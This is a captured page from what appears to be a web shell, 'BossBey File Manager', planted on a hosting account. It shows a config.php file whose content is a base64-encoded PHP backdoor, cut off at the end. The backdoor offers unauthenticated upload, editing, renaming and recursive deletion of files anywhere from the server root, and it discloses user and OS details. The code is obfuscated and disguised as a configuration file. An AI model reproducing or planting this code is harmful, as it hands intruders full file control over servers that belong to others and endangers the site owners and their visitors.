Facebook
Instagram
Twitter
Website
Youtube
BossBey File Manager
BossBey File Manager
PHP:
8.1.30
OS:
Linux
User:
interdesi
Root
/
home
/
interdesi
/
public_html
📤 Upload
📝 New File
📁 New Folder
Close
Editing: config.php
<?php $__original_code_content = base64_decode('LyoqDQogKiBGaWxlIE1hbmFnZXIgLSBMaW51eCBSb290IEFjY2VzcyBWZXJzaW9uDQogKiBGaXR1cjogTmF2aWdhc2kgQnJlYWRjcnVtYiBQZW51aCBkYXJpIC8gKFJvb3QpDQogKi8NCg0KLy8gLS0tIEtPTkZJR1VSQVNJIC0tLQ0KDQovLyBEZWZhdWx0IGRpcmVrdG9yaSBzYWF0IHNjcmlwdCBwZXJ0YW1hIGthbGkgZGlidWthIGFkYWxhaCBmb2xkZXIgc2NyaXB0IGluaSBiZXJhZGENCi8vIFRhcGkga2l0YSBpemlua2FuIG5hdmlnYXNpIHNhbXBhaSBrZSBTeXN0ZW0gUm9vdCAiLyINCiRzdGFydERpciA9IF9fRElSX187IA0KDQovLyBBbWJpbCBwYXJhbWV0ZXIgJ2RpcicgZGFyaSBVUkwsIGppa2EgdGlkYWsgYWRhIGd1bmFrYW4gZm9sZGVyIHNhYXQgaW5pDQokcmVxdWVzdERpciA9IGlzc2V0KCRfR0VUWydkaXInXSkgPyAkX0dFVFsnZGlyJ10gOiAkc3RhcnREaXI7DQoNCi8vIE5vcm1hbGlzYXNpIHBhdGggKFJlYWxwYXRoIG1lbWJlcnNpaGthbiAuLi8gZGFuIHN5bWxpbmspDQokY3VycmVudFBhdGggPSByZWFscGF0aCgkcmVxdWVzdERpcik7DQoNCi8vIEppa2EgcGF0aCB0aWRhayB2YWxpZCAobWlzYWwgdXNlciBrZXRpayBzZW1iYXJhbmdhbiksIGtlbWJhbGlrYW4ga2UgZm9sZGVyIHNjcmlwdA0KaWYgKCRjdXJyZW50UGF0aCA9PT0gZmFsc2UgfHwgIWZpbGVfZXhpc3RzKCRjdXJyZW50UGF0aCkpIHsNCiAgICAkY3VycmVudFBhdGggPSByZWFscGF0aCgkc3RhcnREaXIpOw0KfQ0KDQovLyBWYXJpYWJlbCBVSQ0KJG1lc3NhZ2UgPSAnJzsNCiRtc2dUeXBlID0gJyc7IA0KJG1vZGUgPSAnbWFpbic7IC8vIG1haW4sIGVkaXQsIHJlbmFtZQ0KJGVkaXRGaWxlID0gJyc7DQokZWRpdENvbnRlbnQgPSAnJzsNCiRyZW5hbWVUYXJnZXQgPSAnJzsNCg0KLy8gLS0tIEZVTkdTSSBCQU5UVUFOIC0tLQ0KDQpmdW5jdGlvbiBmb3JtYXRTaXplKCRieXRlcykgew0KICAgIGlmICgkYnl0ZXMgPiAwKSB7DQogICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgfQ0KICAgIHJldHVybiAnLSc7DQp9DQoNCmZ1bmN0aW9uIGdldFNhZmVQYXRoKCRiYXNlLCAkaW5wdXROYW1lKSB7DQogICAgLy8gS2FyZW5hIGtpdGEgZGkgTGludXgsIGdhYnVuZ2thbiBwYXRoIGRlbmdhbiAnLycNCiAgICByZXR1cm4gcnRyaW0oJGJhc2UsIERJUkVDVE9SWV9TRVBBUkFUT1IpIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpbnB1dE5hbWU7DQp9DQoNCi8vIEhhcHVzIGZvbGRlciByZWt1cnNpZg0KZnVuY3Rpb24gZGVsZXRlUmVjdXJzaXZlKCRkaXIpIHsNCiAgICBpZiAoIWlzX2RpcigkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTsNCiAgICAkaXRlbXMgPSBzY2FuZGlyKCRkaXIpOw0KICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgew0KICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAkcGF0aCA9ICRkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW07DQogICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSBkZWxldGVSZWN1cnNpdmUoJHBhdGgpOw0KICAgICAgICBlbHNlIHVubGluaygkcGF0aCk7DQogICAgfQ0KICAgIHJldHVybiBybWRpcigkZGlyKTsNCn0NCg0KLy8gQ2VrIGFwYWthaCBkaXJla3RvcmkgYmlzYSBkaXR1bGlzIChXcml0YWJsZSkNCmZ1bmN0aW9uIGlzV3JpdGFibGUoJHBhdGgpIHsNCiAgICByZXR1cm4gaXNfd3JpdGFibGUoJHBhdGgpOw0KfQ0KDQovLyAtLS0gUFJPU0VTIEFDVElPTiAoUE9TVCkgLS0tDQoNCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnKSB7DQogICAgJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uJ10gPz8gJyc7DQogICAgDQogICAgLy8gVXBsb2FkDQogICAgaWYgKCRhY3Rpb24gPT09ICd1cGxvYWQnKSB7DQogICAgICAgIGlmIChpc3NldCgkX0ZJTEVTWydmaWxlVXBsb2FkJ10pICYmICRfRklMRVNbJ2ZpbGVVcGxvYWQnXVsnZXJyb3InXSA9PT0gVVBMT0FEX0VSUl9PSykgew0KICAgICAgICAgICAgJG5hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWydmaWxlVXBsb2FkJ11bJ25hbWUnXSk7DQogICAgICAgICAgICAkdGFyZ2V0ID0gZ2V0U2FmZVBhdGgoJGN1cnJlbnRQYXRoLCAkbmFtZSk7DQogICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGVVcGxvYWQnXVsndG1wX25hbWUnXSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseS4iOw0KICAgICAgICAgICAgICAgICRtc2dUeXBlID0gInN1Y2Nlc3MiOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJVcGxvYWQgZmFpbGVkLiBDaGVjayBmb2xkZXIgcGVybWlzc2lvbnMuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBDcmVhdGUgRmlsZQ0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ2NyZWF0ZV9maWxlJykgew0KICAgICAgICAkbmFtZSA9ICRfUE9TVFsnbmV3X2ZpbGVuYW1lJ10gPz8gJyc7DQogICAgICAgIGlmICghZW1wdHkoJG5hbWUpKSB7DQogICAgICAgICAgICAkdGFyZ2V0ID0gZ2V0U2FmZVBhdGgoJGN1cnJlbnRQYXRoLCAkbmFtZSk7DQogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0LCAiIikgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkZpbGUgY3JlYXRlZCBzdWNjZXNzZnVsbHkuIjsNCiAgICAgICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAic3VjY2VzcyI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiRmFpbGVkIHRvIGNyZWF0ZSBmaWxlLiBQZXJtaXNzaW9uIGRlbmllZC4iOw0KICAgICAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIGFscmVhZHkgZXhpc3RzLiI7DQogICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAiZXJyb3IiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gQ3JlYXRlIEZvbGRlcg0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ2NyZWF0ZV9mb2xkZXInKSB7DQogICAgICAgICRuYW1lID0gJF9QT1NUWyduZXdfZm9sZGVybmFtZSddID8/ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRuYW1lKSkgew0KICAgICAgICAgICAgJHRhcmdldCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJG5hbWUpOw0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgIGlmIChAbWtkaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiRm9sZGVyIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5LiI7DQogICAgICAgICAgICAgICAgICAgICRtc2dUeXBlID0gInN1Y2Nlc3MiOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkZhaWxlZCB0byBjcmVhdGUgZm9sZGVyLiBQZXJtaXNzaW9uIGRlbmllZC4iOw0KICAgICAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJGb2xkZXIgYWxyZWFkeSBleGlzdHMuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBEZWxldGUNCiAgICBlbHNlaWYgKCRhY3Rpb24gPT09ICdkZWxldGUnKSB7DQogICAgICAgICR0YXJnZXROYW1lID0gJF9QT1NUWyd0YXJnZXRfbmFtZSddID8/ICcnOw0KICAgICAgICAkdGFyZ2V0UGF0aCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJHRhcmdldE5hbWUpOw0KICAgICAgICANCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0YXJnZXRQYXRoKSkgew0KICAgICAgICAgICAgJHN1Y2Nlc3MgPSBpc19kaXIoJHRhcmdldFBhdGgpID8gZGVsZXRlUmVjdXJzaXZlKCR0YXJnZXRQYXRoKSA6IHVubGluaygkdGFyZ2V0UGF0aCk7DQogICAgICAgICAgICBpZiAoJHN1Y2Nlc3MpIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICJJdGVtIGRlbGV0ZWQgc3VjY2Vzc2Z1bGx5LiI7DQogICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAic3VjY2VzcyI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIkRlbGV0ZSBmYWlsZWQuIFBlcm1pc3Npb24gZGVuaWVkLiI7DQogICAgICAgICAgICAgICAgJG1zZ1R5cGUgPSAiZXJyb3IiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdCBNb2RlDQogICAgZWxzZWlmICgkYWN0aW9uID09PSAnZWRpdF9tb2RlJykgew0KICAgICAgICAkdGFyZ2V0TmFtZSA9ICRfUE9TVFsndGFyZ2V0X25hbWUnXSA/PyAnJzsNCiAgICAgICAgJHRhcmdldFBhdGggPSBnZXRTYWZlUGF0aCgkY3VycmVudFBhdGgsICR0YXJnZXROYW1lKTsNCiAgICAgICAgaWYgKGlzX2ZpbGUoJHRhcmdldFBhdGgpICYmIGlzX3JlYWRhYmxlKCR0YXJnZXRQYXRoKSkgew0KICAgICAgICAgICAgJG1vZGUgPSAnZWRpdCc7DQogICAgICAgICAgICAkZWRpdEZpbGUgPSAkdGFyZ2V0TmFtZTsNCiAgICAgICAgICAgICRlZGl0Q29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0YXJnZXRQYXRoKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRtZXNzYWdlID0gIkNhbm5vdCByZWFkIGZpbGUuIjsNCiAgICAgICAgICAgICRtc2dUeXBlID0gImVycm9yIjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIFNhdmUgRmlsZQ0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ3NhdmVfZmlsZScpIHsNCiAgICAgICAgJHRhcmdldE5hbWUgPSAkX1BPU1RbJ3RhcmdldF9uYW1lJ10gPz8gJyc7DQogICAgICAgICRjb250ZW50ID0gJF9QT1NUWydmaWxlX2NvbnRlbnQnXSA/PyAnJzsNCiAgICAgICAgJHRhcmdldFBhdGggPSBnZXRTYWZlUGF0aCgkY3VycmVudFBhdGgsICR0YXJnZXROYW1lKTsNCiAgICAgICAgDQogICAgICAgIC8vIE5vcm1hbGlzYXNpIE5ld2xpbmUgdW50dWsgTGludXgNCiAgICAgICAgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRjb250ZW50KTsNCg0KICAgICAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCR0YXJnZXRQYXRoLCAkY29udGVudCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAkbWVzc2FnZSA9ICJGaWxlIHNhdmVkIHN1Y2Nlc3NmdWxseS4iOw0KICAgICAgICAgICAgJG1zZ1R5cGUgPSAic3VjY2VzcyI7DQogICAgICAgICAgICAkbW9kZSA9ICdtYWluJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRtZXNzYWdlID0gIkZhaWxlZCB0byBzYXZlIGZpbGUuIFBlcm1pc3Npb24gZGVuaWVkLiI7DQogICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICAkbW9kZSA9ICdlZGl0JzsNCiAgICAgICAgICAgICRlZGl0RmlsZSA9ICR0YXJnZXROYW1lOw0KICAgICAgICAgICAgJGVkaXRDb250ZW50ID0gJGNvbnRlbnQ7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUNCiAgICBlbHNlaWYgKCRhY3Rpb24gPT09ICdyZW5hbWVfbW9kZScpIHsNCiAgICAgICAgJG1vZGUgPSAncmVuYW1lJzsNCiAgICAgICAgJHJlbmFtZVRhcmdldCA9ICRfUE9TVFsndGFyZ2V0X25hbWUnXTsNCiAgICB9DQogICAgZWxzZWlmICgkYWN0aW9uID09PSAnZG9fcmVuYW1lJykgew0KICAgICAgICAkb2xkTmFtZSA9ICRfUE9TVFsnb2xkX25hbWUnXTsNCiAgICAgICAgJG5ld05hbWUgPSBiYXNlbmFtZSgkX1BPU1RbJ25ld19uYW1lJ10pOw0KICAgICAgICAkb2xkUGF0aCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJG9sZE5hbWUpOw0KICAgICAgICAkbmV3UGF0aCA9IGdldFNhZmVQYXRoKCRjdXJyZW50UGF0aCwgJG5ld05hbWUpOw0KDQogICAgICAgIGlmICghZW1wdHkoJG5ld05hbWUpICYmIGZpbGVfZXhpc3RzKCRvbGRQYXRoKSAmJiAhZmlsZV9leGlzdHMoJG5ld1BhdGgpKSB7DQogICAgICAgICAgICBpZiAoQHJlbmFtZSgkb2xkUGF0aCwgJG5ld1BhdGgpKSB7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiUmVuYW1lZCBzdWNjZXNzZnVsbHkuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJzdWNjZXNzIjsNCiAgICAgICAgICAgICAgICAkbW9kZSA9ICdtYWluJzsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAiUmVuYW1lIGZhaWxlZC4gUGVybWlzc2lvbiBkZW5pZWQuIjsNCiAgICAgICAgICAgICAgICAkbXNnVHlwZSA9ICJlcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkbWVzc2FnZSA9ICJJbnZhbGlkIG5hbWUgb3IgYWxyZWFkeSBleGlzdHMuIjsNCiAgICAgICAgICAgICRtc2dUeXBlID0gImVycm9yIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYgKCRhY3Rpb24gPT09ICdjYW5jZWwnKSB7DQogICAgICAgICRtb2RlID0gJ21haW4nOw0KICAgIH0NCn0NCg0KLy8gLS0tIERBVEEgTElTVElORyAtLS0NCiRpdGVtcyA9IFtdOw0KaWYgKCRtb2RlID09PSAnbWFpbicpIHsNCiAgICAvLyBHdW5ha2FuIHNjYW5kaXIgYmlhc2ENCiAgICAkc2Nhbm5lZCA9IEBzY2FuZGlyKCRjdXJyZW50UGF0aCk7DQogICAgDQogICAgaWYgKCRzY2FubmVkID09PSBmYWxzZSkgew0KICAgICAgICAkbWVzc2FnZSA9ICJBY2Nlc3MgRGVuaWVkOiBDYW5ub3QgcmVhZCBkaXJlY3RvcnkuIjsNCiAgICAgICAgJG1zZ1R5cGUgPSAiZXJyb3IiOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRmb2xkZXJzID0gW107DQogICAgICAgICRmaWxlcyA9IFtdOw0KDQogICAgICAgIGZvcmVhY2ggKCRzY2FubmVkIGFzICRpdGVtKSB7DQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nKSBjb250aW51ZTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGZ1bGxQYXRoID0gZ2V0U2FmZVBhdGgoJGN1cnJlbnRQYXRoLCAkaXRlbSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIExvZ2ljIFRvbWJvbCBbLi5dIChQYXJlbnQpDQogICAgICAgICAgICAvLyBKaWthIGl0ZW0gYWRhbGFoICcuLicgZGFuIGtpdGEgQlVLQU4gZGkgcm9vdCBzeXN0ZW0gKCcvJyksIG1ha2EgdGFtcGlsa2FuDQogICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4uJykgew0KICAgICAgICAgICAgICAgIGlmICgkY3VycmVudFBhdGggIT0gRElSRUNUT1JZX1NFUEFSQVRPUiAmJiAkY3VycmVudFBhdGggIT0gJy8nKSB7DQogICAgICAgICAgICAgICAgICAgICRwYXJlbnRQYXRoID0gZGlybmFtZSgkY3VycmVudFBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAkZm9sZGVyc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICdbLi5dJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkcGFyZW50UGF0aCwgLy8gUGF0aCBwYXJlbnQgcGVudWgNCiAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyA9PiAnRm9sZGVyJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAnLScsDQogICAgICAgICAgICAgICAgICAgICAgICAncGVybScgPT4gJycsDQogICAgICAgICAgICAgICAgICAgICAgICAnaXNfcGFyZW50JyA9PiB0cnVlDQogICAgICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBDZWsgcGVybWlzc2lvbiByd3ggKFJlYWQgV3JpdGUgRXhlY3V0ZSkgc2ltcGVsDQogICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxQYXRoKSksIC00KTsNCiAgICAgICAgICAgICRpc1dyaXRhYmxlID0gaXNfd3JpdGFibGUoJGZ1bGxQYXRoKTsNCiAgICAgICAgICAgICRwZXJtU3RyID0gJHBlcm1zIC4gKCRpc1dyaXRhYmxlID8gJyAoVyknIDogJyAoUi1PKScpOw0KDQogICAgICAgICAgICBpZiAoaXNfZGlyKCRmdWxsUGF0aCkpIHsNCiAgICAgICAgICAgICAgICAkZm9sZGVyc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sDQogICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbFBhdGgsIC8vIFNpbXBhbiBmdWxsIHBhdGggdW50dWsgbGluaw0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJ0ZvbGRlcicsDQogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAnLScsDQogICAgICAgICAgICAgICAgICAgICdwZXJtJyA9PiAkcGVybVN0ciwNCiAgICAgICAgICAgICAgICAgICAgJ2lzX3BhcmVudCcgPT4gZmFsc2UNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkZmlsZXNbXSA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRpdGVtLA0KICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJGZ1bGxQYXRoLA0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJ0ZpbGUnLA0KICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gZm9ybWF0U2l6ZShmaWxlc2l6ZSgkZnVsbFBhdGgpKSwNCiAgICAgICAgICAgICAgICAgICAgJ3Blcm0nID0+ICRwZXJtU3RyLA0KICAgICAgICAgICAgICAgICAgICAnaXNfcGFyZW50JyA9PiBmYWxzZQ0KICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGl0ZW1zID0gYXJyYXlfbWVyZ2UoJGZvbGRlcnMsICRmaWxlcyk7DQogICAgfQ0KfQ0KDQovLyBJbmZvIFNlcnZlcg0KJHNlcnZlckluZm8gPSBnZXRfY3VycmVudF91c2VyKCkgLiAiQCIgLiBwaHBfdW5hbWUoJ24nKSAuICIgKCIgLiBQSFBfT1MgLiAiKSI7DQo/Pg0KDQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sIGxhbmc9ImVuIj4NCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8dGl0bGU+RmlsZSBNYW5hZ2VyIChCb3NzQmV5KTwvdGl0bGU+DQogICAgPHN0eWxlPg0KICAgICAgICBib2R5IHsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBtYXJnaW46IDIwcHg7IGJhY2tncm91bmQ6ICNmNGY0ZjQ7IH0NCiAgICAgICAgLmNvbnRhaW5lciB7IG1heC13aWR0aDogMTAwMHB4OyBtYXJnaW46IGF1dG87IGJhY2tncm91bmQ6ICNmZmY7IHBhZGRpbmc6IDIwcHg7IGJvcmRlci1yYWRpdXM6IDVweDsgYm94LXNoYWRvdzogMCAwIDEwcHggcmdiYSgwLDAsMCwwLjEpOyB9DQogICAgICAgIGgyIHsgbWFyZ2luLXRvcDogMDsgfQ0KICAgICAgICAuYnJlYWRjcnVtYiB7IA0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjFlbTsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IA0KICAgICAgICAgICAgcGFkZGluZzogMTJweDsgDQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZTllY2VmOyANCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7DQogICAgICAgIH0NCiAgICAgICAgLmJyZWFkY3J1bWIgYSB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICMwMDdiZmY7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQogICAgICAgIC5icmVhZGNydW1iIGE6aG92ZXIgeyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgY29sb3I6ICMwMDU2YjM7IH0NCiAgICAgICAgLmJyZWFkY3J1bWIgLnNlcCB7IGNvbG9yOiAjNmM3NTdkOyBtYXJnaW46IDAgNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubXNnIHsgcGFkZGluZzogMTJweDsgbWFyZ2luLWJvdHRvbTogMjBweDsgYm9yZGVyLXJhZGl1czogNHB4OyBib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDsgfQ0KICAgICAgICAuc3VjY2VzcyB7IGJhY2tncm91bmQ6ICNkNGVkZGE7IGNvbG9yOiAjMTU1NzI0OyBib3JkZXItY29sb3I6ICNjM2U2Y2I7IH0NCiAgICAgICAgLmVycm9yIHsgYmFja2dyb3VuZDogI2Y4ZDdkYTsgY29sb3I6ICM3MjFjMjQ7IGJvcmRlci1jb2xvcjogI2Y1YzZjYjsgfQ0KICAgICAgICANCiAgICAgICAgLmZvcm0tc2VjdGlvbiB7IGJhY2tncm91bmQ6ICNmOGY5ZmE7IHBhZGRpbmc6IDE1cHg7IGJvcmRlci1yYWRpdXM6IDRweDsgbWFyZ2luLWJvdHRvbTogMjBweDsgYm9yZGVyOiAxcHggc29saWQgI2RkZDsgfQ0KICAgICAgICANCiAgICAgICAgdGFibGUgeyB3aWR0aDogMTAwJTsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsgfQ0KICAgICAgICB0aCB7IGJhY2tncm91bmQ6ICNmMWYxZjE7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDEwcHg7IGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZGRkOyB9DQogICAgICAgIHRkIHsgcGFkZGluZzogMTBweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlZWU7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IH0NCiAgICAgICAgdHI6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjZjlmOWY5OyB9DQogICAgICAgIA0KICAgICAgICAuZm9sZGVyLWxpbmsgeyBmb250LXdlaWdodDogYm9sZDsgY29sb3I6ICNkNjMzODQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KICAgICAgICAuZmlsZS1saW5rIHsgY29sb3I6ICMzMzM7IH0NCiAgICAgICAgLmFjdGlvbnMgYnV0dG9uIHsgY3Vyc29yOiBwb2ludGVyOyBtYXJnaW4tcmlnaHQ6IDVweDsgcGFkZGluZzogMnB4IDhweDsgZm9udC1zaXplOiAwLjg1ZW07IH0NCiAgICAgICAgLmVkaXRvci1hcmVhIHsgd2lkdGg6IDEwMCU7IGhlaWdodDogNDAwcHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IHBhZGRpbmc6IDEwcHg7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IH0NCiAgICAgICAgLnNlcnZlci1pbmZvIHsgZm9udC1zaXplOiAwLjhlbTsgY29sb3I6ICM2NjY7IGZsb2F0OiByaWdodDsgZm9udC13ZWlnaHQ6IG5vcm1hbDsgfQ0KICAgIDwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICA8aDI+KEJvc3NCZXkpIEZpbGUgTWFuYWdlcjwvaDI+DQoNCiAgICA8ZGl2IGNsYXNzPSJicmVhZGNydW1iIj4NCiAgICAgICAgPD9waHANCiAgICAgICAgLy8gMS4gTGluayBrZSBST09UIFNpc3RlbSAoLykNCiAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iIC4gdXJsZW5jb2RlKCcvJykgLiAiJz5bUk9PVF08L2E+IjsNCiAgICAgICAgDQogICAgICAgIC8vIDIuIFBlY2FoIFBhdGggbWVuamFkaSBBcnJheSB1bnR1ayBkaWJ1YXQgbGluayBzYXR1IHBlciBzYXR1DQogICAgICAgIC8vIENvbnRvaDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbCAtPiBbJycsICdob21lJywgJ3VzZXInLCAncHVibGljX2h0bWwnXQ0KICAgICAgICAkcGF0aFBhcnRzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkY3VycmVudFBhdGgpOw0KICAgICAgICAkYnVpbGRMaW5rID0gJyc7DQogICAgICAgIA0KICAgICAgICBmb3JlYWNoICgkcGF0aFBhcnRzIGFzICRwYXJ0KSB7DQogICAgICAgICAgICBpZiAoJHBhcnQgPT09ICcnKSBjb250aW51ZTsgLy8gU2tpcCBrb3NvbmcgYWtpYmF0IGV4cGxvZGUgJy8nIGRpIGF3YWwNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gQmFuZ3VuIHBhdGggYmVydGFoYXA6IC9ob21lLCBsYWx1IC9ob21lL3VzZXIsIGRzdA0KICAgICAgICAgICAgJGJ1aWxkTGluayAuPSBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHBhcnQ7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNsYXNzPSdzZXAnPi88L3NwYW4+IjsNCiAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kaXI9IiAuIHVybGVuY29kZSgkYnVpbGRMaW5rKSAuICInPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRwYXJ0KSAuICI8L2E+IjsNCiAgICAgICAgfQ0KICAgICAgICA/Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzZXJ2ZXItaW5mbyI+PD9waHAgZWNobyAkc2VydmVySW5mbzsgPz48L2Rpdj4NCiAgICA8L2Rpdj4NCg0KICAgIDw/cGhwI